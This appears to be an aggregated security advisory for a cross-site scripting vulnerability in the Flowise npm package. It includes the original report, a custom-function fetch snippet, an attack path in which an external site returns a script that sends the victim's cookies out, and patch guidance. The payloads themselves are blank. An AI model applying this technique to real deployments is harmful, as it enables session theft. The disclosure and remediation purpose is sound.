Categories
CVE-2025-71331 medium CVSS 6.1

Cross-Site Scripting (XSS) in flowise (CVE-2025-71331)

Summary

Cross-site scripting in flowise (CVE-2025-71331). Risk of unauthorized operations or information disclosure. Mitigation: upgrade to 3.0.8 or later.

Original description

The description as published by the source.

Summary

A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.

Details

  1. Send a Message `` from User in a chat box:
Trigger in other ways:
  1. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)

  2. Create a Custom function as an example, use the below example code.

const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
    }
};
try {
    const response = await fetch(url, options);
    const text = await response.text();
    return text;
} catch (error) {
    console.error(error);
    return '';
}
  1. The external website (https://external.website) return a XSS payload as content.

  2. The javascript code is executed and the victim's cookie data is sent to the external website.

PoC

``

Impact

it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2025-71331 has been found in flowise.
Risk of unauthorized operations or information disclosure. CVSS score: 6.1/10.
What to do: upgrade flowise to 3.0.8 or later.
If unsure, ask your IT team or search "flowise CVE-2025-71331" on the vendor's site.

CVE-2025-71331 (flowise) — CWE-79 / CVSS v3 6.1
Attack vector: remote (network-reachable) / unauthenticated
Patched: 3.0.8 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

Cross-site scripting (XSS) (CWE-79) exists in flowise.

📍 Affected scope

Check the vendor advisory for the affected versions of flowise.

🔥 Severity

Severity: Medium (CVSS 6.1/10). Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 3.0.8.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'flowise' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'flowise' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で flowise を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade flowise to 3.0.8

    ステージング環境で 3.0.8 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm flowise
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details